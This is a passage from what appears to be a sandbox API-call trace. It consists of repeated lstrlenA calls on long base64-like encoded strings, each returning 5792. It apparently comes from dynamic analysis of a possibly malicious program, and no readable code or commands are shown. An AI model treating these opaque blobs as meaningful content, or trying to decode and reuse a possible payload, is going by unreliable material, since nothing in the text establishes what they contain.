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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od